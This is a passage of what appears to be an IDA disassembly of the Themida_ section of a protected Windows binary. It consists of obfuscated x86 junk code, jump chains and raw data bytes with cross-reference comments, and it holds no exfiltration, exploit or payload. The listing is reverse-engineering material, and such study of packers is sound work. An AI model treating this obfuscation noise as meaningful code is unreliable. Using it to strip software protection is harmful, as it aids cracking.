4 pop edx push esi mov esi, 4 add edx, esi pop esi jmp loc_55EBCD ; --------------------------------------------------------------------------- db 81h dd 6B7C5AEBh, 18F0F09h, 0C1FFFFEEh, 0ADE906E3h, 8B0000ECh db 0F2h, 34h, 3Dh ; --------------------------------------------------------------------------- loc_55BFA3: ; CODE XREF: Themida_:0055681Cj add al, 82h mov dx, [esp] add esp, 2 sub al, dh add al, 0BAh push edx jmp loc_56C4D7 ; --------------------------------------------------------------------------- loc_55BFB9: ; CODE XREF: Themida_:0055C535j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55CC13 ; --------------------------------------------------------------------------- loc_55BFCE: ; CODE XREF: Themida_:0056CCE1j push ecx mov ecx, 0AEA18C3h not ecx inc ecx push eax mov eax, 0BAD3EC97h xor ecx, eax pop eax sub edx, ecx pop ecx add edx, 159D2616h jmp loc_566CF2 ; --------------------------------------------------------------------------- loc_55BFEE: ; CODE XREF: Themida_:0055DC03j mov eax, [esp] push edx mov edx, esp jmp loc_568D16 ; --------------------------------------------------------------------------- db 0E9h, 0F5h, 0BEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BFFE: ; CODE XREF: Themida_:0056D15Aj xchg ebx, ebp not ebx xchg ebx, ebp or ebp, 7DF74E12h shr ebp, 8 push ebp inc dword ptr [esp] jmp loc_55C3AC ; --------------------------------------------------------------------------- dw 248Bh dd 0C006E924h, 9F68FFFFh, 0E9000074h, 9F4Eh ; --------------------------------------------------------------------------- loc_55C028: ; CODE XREF: Themida_:loc_55CD7Cj add ebx, 0AD2862D4h add esi, 56FE19DBh sub esi, ebx sub esi, 56FE19DBh jmp loc_556E6C ; --------------------------------------------------------------------------- loc_55C041: ; CODE XREF: Themida_:00563185j mov ah, ch mov bl, ah pop eax jmp loc_56CC6F ; --------------------------------------------------------------------------- db 0Fh dd 0F4DB8Bh, 2E2C000h, 0F69D850Fh, 75E9FFFFh, 33FFFFF2h dd 555C2414h ; --------------------------------------------------------------------------- loc_55C064: ; CODE XREF: Themida_:00565503j push esi mov esi, 4 sub edx, esi pop esi xchg edx, [esp] pop esp jmp loc_556713 ; --------------------------------------------------------------------------- loc_55C076: ; CODE XREF: Themida_:0056D670j pop esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_562D57 ; --------------------------------------------------------------------------- loc_55C08C: ; CODE XREF: Themida_:00566C9Aj add edx, ebp sub edx, 29B83837h push 58D4h mov [esp], eax mov eax, 6BB47303h sub edx, eax pop eax pop ebp sub edx, eax push esi mov esi, 61F571D9h sub esp, 4 mov [esp], ebx mov ebx, 669D1807h jmp loc_5690FE ; --------------------------------------------------------------------------- loc_55C0C0: ; CODE XREF: Themida_:0056659Aj add esp, 2 push eax jmp loc_5692B8 ; --------------------------------------------------------------------------- loc_55C0CC: ; CODE XREF: Themida_:00562DBCj pop esi add esp, 4 add esi, 4 sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_5583FC ; --------------------------------------------------------------------------- dd 34FFDF01h, 255DE924h, 0E0C00000h, 80572C08h, 0C60061C6h dd 0FF61EE80h, 81582434h, 4C4h, 0FFF02800h, 0EEE92434h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C10F: ; CODE XREF: Themida_:005616EDj not word ptr [esp] jmp loc_55D330 ; --------------------------------------------------------------------------- loc_55C118: ; CODE XREF: Themida_:00558145j push ebp jmp loc_55BDB5 ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 0D6F2E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C12A: ; CODE XREF: Themida_:0055E403j push ebx mov ebx, 4 sub esi, ebx pop ebx xchg esi, [esp] pop esp mov [esp], ecx mov ch, 3Ch xor dl, ch pop ecx push eax jmp loc_55F29C ; --------------------------------------------------------------------------- loc_55C145: ; CODE XREF: Themida_:0056C8FDj push esp pop edi push ebp mov ebp, 4 jmp loc_5684C3 ; --------------------------------------------------------------------------- loc_55C152: ; CODE XREF: Themida_:00562F4Dj pop ebx push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp add eax, edi jmp loc_561ED3 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0E9241C33h, 0FFFFEF28h ; --------------------------------------------------------------------------- loc_55C178: ; CODE XREF: Themida_:00564B30j xor esi, 928E4692h or ebp, esi pop esi sub esp, 4 jmp loc_565763 ; --------------------------------------------------------------------------- dd 508AC381h, 0EB811922h, 1D646D2Bh, 0C381FB01h, 1D646D2Bh dd 2690E9h db 0 ; --------------------------------------------------------------------------- loc_55C1A5: ; CODE XREF: Themida_:0056561Aj mov ecx, esp push edi jmp loc_55A8F0 ; --------------------------------------------------------------------------- loc_55C1AD: ; CODE XREF: Themida_:0055815Fj push edi mov edi, 0E6A0EF7Bh sub esi, edi pop edi sub ebx, 21546374h add ebx, esi jmp loc_557F0E ; --------------------------------------------------------------------------- loc_55C1C3: ; CODE XREF: Themida_:005564C7j mov edi, [esp] add esp, 4 jmp loc_561FCB ; --------------------------------------------------------------------------- loc_55C1D1: ; CODE XREF: Themida_:0055B41Aj add ebp, 4 xchg ebp, [esp] pop esp or edx, ebx jmp loc_564580 ; --------------------------------------------------------------------------- loc_55C1E2: ; CODE XREF: Themida_:00557E1Bj mov [esp], esi mov esi, 2 push eax mov eax, 0D161B37h sub ebp, eax pop eax add ebp, 187922A9h add ebp, esi sub ebp, 187922A9h jmp loc_56915E ; --------------------------------------------------------------------------- loc_55C206: ; CODE XREF: Themida_:00561730j xor ecx, 71B52CA2h jnp loc_562887 or ecx, 161B0B14h sub ecx, 3FDB5B73h mov esi, ecx pop ecx push esi push 6CD41EC3h pop esi sub ecx, 3FC1696Ch add ecx, esi add ecx, 3FC1696Ch jmp loc_56BFF6 ; --------------------------------------------------------------------------- db 81h dd 0E6050FF5h, 0AE97E91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C246: ; CODE XREF: Themida_:0056B17Aj mov esp, [esp] add esp, 4 push ecx push esp pop ecx push edi mov edi, 0EF00BE1h or edi, 0E935739h jmp loc_5671C3 ; --------------------------------------------------------------------------- db 83h dd 0BF57FFE9h, 364104F1h, 895FF931h, 53E959CEh db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C277: ; CODE XREF: Themida_:0055DA2Fj mov ebx, 0DF4272Eh mov esi, ebx push dword ptr [esp] jmp loc_56C142 ; --------------------------------------------------------------------------- loc_55C286: ; CODE XREF: Themida_:00565CF4j push ecx mov ecx, 198F4003h shl ecx, 1 sub esp, 4 mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi push ecx push edx sub esp, 4 mov [esp], esi mov esi, 648B66FDh not esi jmp loc_55E31A ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 0E9000000h, 0FFFFFE54h ; --------------------------------------------------------------------------- loc_55C2C4: ; CODE XREF: Themida_:00568C69j add ecx, 4 xchg ecx, [esp] jmp loc_569816 ; --------------------------------------------------------------------------- loc_55C2CF: ; CODE XREF: Themida_:0056736Fj push 1CEBh mov [esp], eax jmp loc_559C29 ; --------------------------------------------------------------------------- loc_55C2DC: ; CODE XREF: Themida_:0055F98Aj xor edi, ebp pop ebp push edi pop eax pop edi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push edi push 13F03F9h pop edi jmp loc_5661E0 ; --------------------------------------------------------------------------- db 5Bh, 47h, 81h dd 3F0556E7h, 47DFF722h, 0EE74E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C30E: ; CODE XREF: Themida_:00563F21j add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_564CBC ; --------------------------------------------------------------------------- loc_55C31F: ; CODE XREF: Themida_:005568D8j neg bh shl bh, 7 inc bh xor bh, 3Ch add dh, bh jmp loc_56C32F ; --------------------------------------------------------------------------- loc_55C330: ; CODE XREF: Themida_:00566461j mov edi, 4 add eax, edi pop edi add eax, 4 xchg eax, [esp] pop esp mov eax, ecx push dword ptr [esp] pop ecx jmp loc_561735 ; --------------------------------------------------------------------------- loc_55C34C: ; CODE XREF: Themida_:00564016j pop dword ptr [esp] jmp loc_568E3B ; --------------------------------------------------------------------------- aUqsO db 'UQИ&O',0 db 0 ; --------------------------------------------------------------------------- loc_55C35B: ; CODE XREF: Themida_:00557D78j ; DATA XREF: Themida_:00556178o mov esp, [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- db 0BDh dd 6EFC0AB3h, 0A0B2E9h db 0 ; --------------------------------------------------------------------------- loc_55C36D: ; CODE XREF: Themida_:005681B9j dec eax js loc_55BC6E jmp loc_565633 ; --------------------------------------------------------------------------- loc_55C379: ; CODE XREF: Themida_:loc_55F98Fj push edx jmp loc_564DDB ; --------------------------------------------------------------------------- loc_55C37F: ; CODE XREF: Themida_:00563417j add edx, edi pop edi add edx, 4 xchg edx, [esp] jmp loc_567CD3 ; --------------------------------------------------------------------------- loc_55C390: ; CODE XREF: Themida_:0056AAC8j push dword ptr [esp] push dword ptr [esp] pop ecx push eax push esp mov eax, [esp] jmp loc_562B4A ; --------------------------------------------------------------------------- loc_55C3A1: ; CODE XREF: Themida_:0056C7EDj add esp, 4 jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55C3AC: ; CODE XREF: Themida_:0055C011j pop ebp push ebx mov ebx, 69D15001h jmp loc_55E9E4 ; --------------------------------------------------------------------------- loc_55C3B8: ; CODE XREF: Themida_:0055EF6Fj add eax, 476E7E30h sub eax, ebx sub eax, 476E7E30h pop ebx add eax, ecx add eax, 21BD2896h sub eax, 316D21CAh jmp loc_5615BF ; --------------------------------------------------------------------------- loc_55C3D6: ; CODE XREF: Themida_:00560213j pop edi pop edx jmp loc_566946 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0D8h dd 56A260Dh, 1AE423AEh, 0ABBE9h db 0 ; --------------------------------------------------------------------------- loc_55C3ED: ; CODE XREF: Themida_:0055E3D9j inc edx and edx, 1FCA6884h sub edx, 682685Ch push ebp mov ebp, edx mov ebx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_569699 ; --------------------------------------------------------------------------- db 0BDh dd 3F639AEh, 555DE931h, 80740DBDh, 0C5814D5Ch, 0D8BF64EDh dd 6C64E9h db 0 ; --------------------------------------------------------------------------- loc_55C425: ; CODE XREF: Themida_:00558E4Dj pop ebx dec edx shl edx, 5 inc edx sub edx, 0B8863A73h add ebx, 29235641h add ebx, edx sub ebx, 29235641h pop edx add ebx, eax push esi sub esp, 4 mov [esp], ecx push ebx mov ebx, 3DDC425Bh xchg edx, ebx not edx jmp loc_55671B ; --------------------------------------------------------------------------- loc_55C45B: ; CODE XREF: Themida_:0055866Aj sub dword ptr [esp], 10F61AF5h mov ebx, [esp] add esp, 4 jmp loc_55741B ; --------------------------------------------------------------------------- loc_55C470: ; CODE XREF: Themida_:00556BEBj push esp pop edx jmp loc_55AC03 ; --------------------------------------------------------------------------- loc_55C477: ; CODE XREF: Themida_:00559096j push ebx mov bl, cl jmp loc_565FB0 ; --------------------------------------------------------------------------- loc_55C47F: ; CODE XREF: Themida_:00560759j push dword ptr [esp] pop ebp push ebx mov ebx, esp jmp loc_55A69A ; --------------------------------------------------------------------------- loc_55C48B: ; CODE XREF: Themida_:0056C91Aj pop ebx pop ebx jmp loc_55BBA3 ; --------------------------------------------------------------------------- dw 0EC83h dd 0C891E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C49A: ; CODE XREF: Themida_:0055B1A5j add dword ptr [esp], 4 pop eax push ecx mov ecx, 1F7067B7h and ecx, 10BE6206h push ebx mov ebx, 2C15C56h add ecx, ebx pop ebx jmp loc_560D68 ; --------------------------------------------------------------------------- loc_55C4B9: ; CODE XREF: Themida_:0055ACADj add edi, esi pop esi mov eax, [esp] jmp loc_55A3E8 ; --------------------------------------------------------------------------- loc_55C4C4: ; CODE XREF: Themida_:0055CDE6j mov edx, 4 add ecx, edx jmp loc_5650F2 ; --------------------------------------------------------------------------- dd 2C9BF681h, 0F6816639h, 0F210CB0h, 0F16C890Fh, 0EE810000h dd 2E987D68h, 194ACE81h, 0FFE92C6Fh, 0B80000F1h, 308610E7h dd 741DE9h db 0 ; --------------------------------------------------------------------------- loc_55C4FD: ; CODE XREF: Themida_:00566E66j pop ebp pop eax pop ecx xor edx, ebp pop ebp and eax, edx push dword ptr [esp] pop edx jmp loc_566916 ; --------------------------------------------------------------------------- loc_55C50E: ; CODE XREF: Themida_:00556716j mov edx, 740542A5h mov ebp, 3F21123h xor ebp, edx pop edx push ebx mov ebx, offset dword_505694 sub ebx, 35431086h xor ebx, 0AEED6594h sub ebp, ebx mov ebx, [esp] push ecx mov ecx, esp jmp loc_55BFB9 ; --------------------------------------------------------------------------- dw 8F68h dd 8900005Ch, 0FDBF243Ch, 896B665Fh, 0F7295FFEh, 241C8B5Eh dd 81E68956h, 4C6h, 23BF5700h, 0E9270978h, 816Ah ; --------------------------------------------------------------------------- loc_55C564: ; CODE XREF: Themida_:0055F91Ej ; Themida_:00569F7Ej pop ecx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 3480h mov [esp], esi jmp loc_560CED ; --------------------------------------------------------------------------- loc_55C57E: ; CODE XREF: Themida_:0056325Bj not ecx add ecx, 47BF741Ch mov ebx, ecx jmp loc_562CB4 ; --------------------------------------------------------------------------- loc_55C58D: ; CODE XREF: Themida_:0056BB3Bj sub esp, 4 mov [esp], esi jmp loc_56B810 ; --------------------------------------------------------------------------- db 5Dh dd 0BD44F02Dh, 56D8292Fh, 0FFB2FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C5A9: ; CODE XREF: Themida_:00564E41j pop esp and eax, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [edi+1Ch] jmp loc_569A47 ; --------------------------------------------------------------------------- loc_55C5D2: ; CODE XREF: Themida_:0055B60Dj xchg ebp, [esp] pop esp push ax mov ah, dl mov dl, cl mov cl, ah jmp loc_56B570 ; --------------------------------------------------------------------------- loc_55C5E3: ; CODE XREF: Themida_:0055D789j pop ebx or edi, 0E727D5Eh dec edi and edi, 45803781h shr edi, 1 dec edi add edi, 0C290E0C3h add eax, edi pop edi mov ecx, eax pop eax add ecx, 0FFFFFFFFh shr ecx, 5 push edx mov edx, 40A33855h sub edx, 6531699Ch jmp loc_569A09 ; --------------------------------------------------------------------------- loc_55C617: ; CODE XREF: Themida_:0055F0CBj pop ecx add esp, 4 mov cl, al mov eax, [esp] add esp, 4 push eax mov ah, cl mov bl, ah pop eax jmp loc_55AC5E ; --------------------------------------------------------------------------- loc_55C631: ; CODE XREF: Themida_:005577F4j add esp, 4 add edx, ebx pop ebx push esi mov esi, 57526F19h jmp loc_564E46 ; --------------------------------------------------------------------------- loc_55C642: ; CODE XREF: Themida_:00563E11j jnb loc_55E54B add edx, 0B5730FF0h add edi, edx push dword ptr [esp] pop edx push edx add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push esp pop edx push edi mov edi, 4 add edx, edi pop edi push ebx push 5BEFh mov [esp], esi mov esi, 2F6B788Bh dec esi jge loc_564A54 xor esi, 2F6B788Eh push esi mov edi, edx push esp sub edi, esi pop esi sub edx, 2E5E19AFh sub edx, 7DC7799Ah add edx, edi add edx, 7DC7799Ah push 1482h mov [esp], edi jmp loc_560ADC ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 40500h, 7EE90000h, 83FFFF9Eh, 148704C2h dd 24248B24h, 4C681h, 0FF560000h, 5E042474h, 0E924048Fh dd 0BF31h ; --------------------------------------------------------------------------- loc_55C6EC: ; CODE XREF: Themida_:00569FA8j or ebp, 57DB6FADh jmp loc_56120D ; --------------------------------------------------------------------------- loc_55C6F7: ; CODE XREF: Themida_:0055F0C0j mov edi, 679D1E69h xor edi, 3D7C353Dh shl edi, 3 shl edi, 5 add edi, 1ED4AC04h add esi, edi pop edi jmp loc_55DC28 ; --------------------------------------------------------------------------- loc_55C716: ; CODE XREF: Themida_:00563739j or eax, eax jz loc_557C71 sub esp, 4 mov [esp], eax jmp loc_56651F ; --------------------------------------------------------------------------- loc_55C729: ; CODE XREF: Themida_:005648C7j xchg ecx, [esp] jmp loc_562DC9 ; --------------------------------------------------------------------------- loc_55C731: ; CODE XREF: Themida_:0056877Fj mov ebx, 78266245h xchg edx, ebx not edx jmp loc_55EFA5 ; --------------------------------------------------------------------------- db 83h dd 0E951FFC7h, 0E693h ; --------------------------------------------------------------------------- loc_55C748: ; CODE XREF: Themida_:005585FFj ; Themida_:0056674Ej push dword ptr [esp] pop ebp jmp loc_55F9F5 ; --------------------------------------------------------------------------- loc_55C751: ; CODE XREF: Themida_:00567F2Bj jnz loc_5601E7 jmp loc_5635C4 ; --------------------------------------------------------------------------- dd 0FFC040E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C761: ; CODE XREF: Themida_:005580F9j mov [esp], cx movzx cx, al push cx pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0FBh dd 81316A69h, 0B86101F7h, 5FF901B7h, 0E3E9CB01h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C787: ; CODE XREF: Themida_:00569050j mov ebx, esp jmp loc_55BDEF ; --------------------------------------------------------------------------- dw 2C29h dd 0BA525D24h, 0D7C38A50h, 167AC581h, 0D5296AF7h, 167AED81h dd 295A6AF7h, 9AE95DEFh db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C7AF: ; CODE XREF: Themida_:00557D36j push small 2CCCh mov [esp], dx push eax mov ah, 51h mov dh, ah pop eax add ch, 0F4h jmp loc_566591 ; --------------------------------------------------------------------------- loc_55C7C5: ; CODE XREF: Themida_:0055D6BBj add ebx, 5B6F6BD7h shr ebx, 7 shl ebx, 8 push edi push eax mov eax, 77D239FAh mov edi, eax jmp loc_566A45 ; --------------------------------------------------------------------------- loc_55C7DF: ; CODE XREF: Themida_:0056C8BAj sub eax, ebx pop ebx push edi push ebx push edx mov edx, 21957CAAh jmp loc_56224E ; --------------------------------------------------------------------------- loc_55C7EF: ; CODE XREF: Themida_:0055F8C6j pop ecx inc edx shr edx, 4 jmp loc_569A73 ; --------------------------------------------------------------------------- loc_55C7F9: ; CODE XREF: Themida_:0056A6BEj add ebx, 650E327Ch jmp loc_55A03E ; --------------------------------------------------------------------------- dd 68241C89h, 69D8h, 0E9242489h, 96Eh ; --------------------------------------------------------------------------- loc_55C814: ; CODE XREF: Themida_:00557ED8j sub ebx, 14933645h pop edx add ebx, 4 push ebx push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_566A71 ; --------------------------------------------------------------------------- loc_55C832: ; CODE XREF: Themida_:0056BDCEj add eax, 33FF376Ah jmp loc_55E928 ; --------------------------------------------------------------------------- loc_55C83C: ; CODE XREF: Themida_:0056B826j sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edx jmp loc_55E3AB ; --------------------------------------------------------------------------- loc_55C853: ; CODE XREF: Themida_:005575E2j push ebp push ebx mov ebx, 3B4F6DBDh add ebx, 30F9378Eh js loc_55D1A8 jmp loc_5653DE ; --------------------------------------------------------------------------- loc_55C86B: ; CODE XREF: Themida_:00557DD8j add ebx, eax pop eax push ebx jmp loc_5639BD ; --------------------------------------------------------------------------- loc_55C874: ; CODE XREF: Themida_:0055D34Fj push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_5670D3 ; --------------------------------------------------------------------------- loc_55C883: ; CODE XREF: Themida_:00568674j push edx jmp loc_56B295 ; --------------------------------------------------------------------------- loc_55C889: ; CODE XREF: Themida_:00561FC6j sub esp, 4 mov [esp], ebx mov bh, 72h sub bh, 81h dec bh neg bh add bh, 0BDh add bh, 0FFh sub bh, 0C1h push ebx mov bh, 55h inc bh sub bh, 6Ah add dl, bh pop ebx add dl, bh sub dl, 0ECh mov ebx, [esp] add esp, 4 sub bl, dl mov edx, [esp] jmp loc_560FD3 ; --------------------------------------------------------------------------- byte_55C8C7 db 8Bh ; DATA XREF: Themida_:005560E4o dd 25E92424h, 5FFFFFDCh, 0C780E9h, 86055D00h, 5096D5Fh dd 543D73Eh, 8958C331h, 9BE95BDEh, 590000E3h, 455FFD31h dd 7433BA52h, 0DEE92EC1h, 0FF00002Ch, 34FF2434h, 0E9505D24h dd 330Eh ; --------------------------------------------------------------------------- loc_55C908: ; CODE XREF: Themida_:0055EDBBj push esp jmp loc_567DA8 ; --------------------------------------------------------------------------- loc_55C90E: ; CODE XREF: Themida_:0056BC4Dj sub ebx, 0FFFFFFFFh sub esp, 4 mov [esp], edi mov edi, 658072h xor ebx, edi jmp loc_56D044 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18300h, 0E9240C87h, 105B4h ; --------------------------------------------------------------------------- loc_55C934: ; CODE XREF: Themida_:00564FD1j mov ecx, 3D863D6Ch sub ebp, 469F70B3h add ebp, ecx add ebp, 469F70B3h pop ecx jmp loc_5695D2 ; --------------------------------------------------------------------------- loc_55C94D: ; CODE XREF: Themida_:00557F49j not edi add edi, 57D41C7Eh and edi, 334B0C62h jmp loc_561349 ; --------------------------------------------------------------------------- dd 20274205h, 31D90573h, 81596B5Bh, 4ECh, 243C8900h, 0C67238BFh dd 0B1E78102h, 47095F33h, 0C86BD55h, 81455717h, 9A7D3EDh dd 8BEF0112h, 0C483242Ch, 72F78104h, 8116D801h, 0DEC66CF7h dd 5FF80135h, 0FB2DD801h, 0E9665551h, 0FFFFA76Dh ; --------------------------------------------------------------------------- loc_55C9B0: ; CODE XREF: Themida_:0056D2D6j xor eax, esi xor esi, eax xor eax, esi push 97Bh mov [esp], esi mov esi, 1 and eax, esi push dword ptr [esp] jmp loc_557563 ; --------------------------------------------------------------------------- loc_55C9CD: ; CODE XREF: Themida_:0055CE03j push 7A86h jmp loc_56B59A ; --------------------------------------------------------------------------- db 52h dd 0C83B04BAh, 5AD02922h, 933ECD2Dh, 0FB0DE911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C9EA: ; CODE XREF: Themida_:0056606Fj mov esi, esp jmp loc_55F50E ; --------------------------------------------------------------------------- loc_55C9F1: ; CODE XREF: Themida_:0055FA10j add al, 0D6h pop ebx push 4B2Ch mov [esp], ecx jmp loc_55CCF0 ; --------------------------------------------------------------------------- loc_55CA01: ; CODE XREF: Themida_:00558A11j push 75BFh jmp loc_558F8D ; --------------------------------------------------------------------------- loc_55CA0B: ; CODE XREF: Themida_:00560C29j mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push 63C9h mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_559BEA ; --------------------------------------------------------------------------- loc_55CA2F: ; CODE XREF: Themida_:005634ACj mov [esp], eax jmp loc_56756F ; --------------------------------------------------------------------------- loc_55CA37: ; CODE XREF: Themida_:0056D6FEj xor ecx, [esp] pop esp jmp loc_55F346 ; --------------------------------------------------------------------------- dd 21EC68h, 240C8900h, 4803FCB9h, 8BCA2948h, 0C483240Ch dd 4EC8104h, 89000000h, 0FF582414h, 835A2434h, 0C78104C4h dd 5C6823A4h, 0EBBC781h, 0C7814727h, 5E75459Ch, 8BE9C701h db 0EAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA7F: ; CODE XREF: Themida_:00556FD5j push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 sub edi, ebp pop ebp retn ; --------------------------------------------------------------------------- db 0E9h, 4Dh, 98h dd 0ADE9FFFFh db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA9F: ; CODE XREF: Themida_:0056D069j mov [esp], edi mov edi, 464C49E1h add edi, 34790C3Eh and edi, 57FD12A5h push 494Ah mov [esp], ebx mov ebx, 0 sub ebx, edi mov edi, ebx mov ebx, [esp] jmp loc_55CD81 ; --------------------------------------------------------------------------- loc_55CACC: ; CODE XREF: Themida_:0056C779j mov cl, dl pop edx xor al, cl mov cx, [esp] add esp, 2 jmp loc_564371 ; --------------------------------------------------------------------------- loc_55CADD: ; CODE XREF: Themida_:00556DF6j mov eax, 6A573B6Ah jmp loc_5626F2 ; --------------------------------------------------------------------------- loc_55CAE7: ; CODE XREF: Themida_:0055B98Cj pop dword ptr [esp] jmp loc_565D41 ; --------------------------------------------------------------------------- loc_55CAEF: ; CODE XREF: Themida_:0055D8BBj push 481Bh mov [esp], ebx push esp jmp loc_568369 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXhtq db 'XhБQ',0 align 2 dw 3C89h dd 6A196824h, 24890000h, 24048324h, 0E9565F04h, 10755h ; --------------------------------------------------------------------------- loc_55CB1C: ; CODE XREF: Themida_:00563F67j mov ecx, 2DB17450h inc ecx xor ecx, 62F96163h add ebp, ecx pop ecx jmp loc_55E448 ; --------------------------------------------------------------------------- loc_55CB30: ; CODE XREF: Themida_:005668BEj add esp, 4 jmp loc_566EB0 ; --------------------------------------------------------------------------- loc_55CB38: ; CODE XREF: Themida_:005691E9j sub esp, 2 jmp loc_559186 ; --------------------------------------------------------------------------- loc_55CB43: ; CODE XREF: Themida_:00568D01j pop eax add esp, 4 xor eax, 231C62F3h mov ebx, [esp] push esi mov esi, esp jmp loc_567EB1 ; --------------------------------------------------------------------------- loc_55CB5A: ; CODE XREF: Themida_:00568CA1j mov [esp], eax push esi push ebp jmp loc_5628F4 ; --------------------------------------------------------------------------- loc_55CB64: ; CODE XREF: Themida_:0055D841j inc cl jno loc_560EF9 jmp loc_557421 ; --------------------------------------------------------------------------- db 52h, 88h, 0E6h dd 68B6F388h ; --------------------------------------------------------------------------- loc_55CB78: ; CODE XREF: Themida_:0056B0AAj jmp loc_568144 ; --------------------------------------------------------------------------- loc_55CB7D: ; CODE XREF: Themida_:005672BEj jmp loc_5574C8 ; --------------------------------------------------------------------------- loc_55CB82: ; CODE XREF: Themida_:00557EFEj add ebp, eax pop eax sub esp, 4 jmp loc_560CC0 ; --------------------------------------------------------------------------- loc_55CB8D: ; CODE XREF: Themida_:0055E279j add dword ptr [esp], 6CC3363Bh pop ebx sub ebx, 6CC3363Bh mov edx, ebx mov ebx, [esp] add esp, 4 pop edi add [esp+4], edx jmp loc_56AAB5 ; --------------------------------------------------------------------------- loc_55CBAD: ; CODE XREF: Themida_:loc_561867j ; Themida_:005686C4j or edx, 4E5652D2h jz loc_561B59 inc edx jle loc_55B22F sub edx, 26ED2458h mov eax, edx pop edx add eax, 4DA31BB5h and eax, 2D974AD4h push edi mov edi, 687537F1h add edi, 9C20125Fh jmp loc_557DC0 ; --------------------------------------------------------------------------- loc_55CBE4: ; CODE XREF: Themida_:00564680j mov edi, ebx jmp loc_568CBB ; --------------------------------------------------------------------------- db 68h dd 345h, 54241C89h, 57241C8Bh, 8904EC83h, 4812424h, 424h dd 0BD555F00h, 4, 0CAE9EF01h db 0DBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC13: ; CODE XREF: Themida_:0055BFC9j shr ebp, 6 jns loc_55BAF1 or ebp, 534E5876h xor al, 58h and al, 0C7h loc_55CC26: ; DATA XREF: Themida_:00556210o push dword ptr [esp] mov ecx, [esp] push ebx push esp pop ebx add ebx, 4 push edx mov edx, 19E4174Dh or edx, 3E98173Ch js loc_56426F jmp loc_569D80 ; --------------------------------------------------------------------------- loc_55CC4C: ; CODE XREF: Themida_:0056B2F9j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_55DFAD ; --------------------------------------------------------------------------- loc_55CC63: ; CODE XREF: Themida_:loc_564707j dec eax jmp loc_55813F ; --------------------------------------------------------------------------- byte_55CC69 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005561C0o dd 0E2895224h, 531EE9h db 0 ; --------------------------------------------------------------------------- loc_55CC75: ; CODE XREF: Themida_:0055DE9Dj add edi, 8C021E0h pop esi shl edi, 6 jmp loc_560EE2 ; --------------------------------------------------------------------------- loc_55CC84: ; CODE XREF: Themida_:005679B6j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ecx mov ecx, 43732895h jmp loc_5699C2 ; --------------------------------------------------------------------------- db 51h dd 0FFE858E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CCA1: ; CODE XREF: Themida_:00556454j ; Themida_:loc_565C60j sub esp, 4 mov [esp], ecx push ebx mov bl, dl mov ch, bl pop ebx mov al, ch jmp loc_561F74 ; --------------------------------------------------------------------------- loc_55CCB4: ; CODE XREF: Themida_:00568A2Dj mov edi, 4DBF47DBh sub eax, edi mov edi, [esp] jmp loc_55AF77 ; --------------------------------------------------------------------------- loc_55CCC3: ; CODE XREF: Themida_:00564DBAj add esp, 4 jmp loc_5698A0 ; --------------------------------------------------------------------------- dw 0E950h dd 18B0h ; --------------------------------------------------------------------------- loc_55CCD4: ; CODE XREF: Themida_:0055F370j pop esp shr ecx, 6 push 5EA7h mov [esp], ebx jmp loc_55F24E ; --------------------------------------------------------------------------- loc_55CCE5: ; CODE XREF: Themida_:005698A6j add bl, 74h movzx eax, al jmp loc_569F83 ; --------------------------------------------------------------------------- loc_55CCF0: ; CODE XREF: Themida_:0055C9FCj push ebx mov bl, 3Eh push ecx jmp loc_56CF48 ; --------------------------------------------------------------------------- loc_55CCF9: ; CODE XREF: Themida_:00565DA3j ; Themida_:0056943Fj sub eax, 30A12CC8h sub eax, 0FFFFFFFFh add eax, 5B1D57ECh sub eax, 23D6C844h mov ebx, eax pop eax add ebx, 379C3DA7h jle loc_56AEAD xor ebx, 7E630006h jmp loc_56873B ; 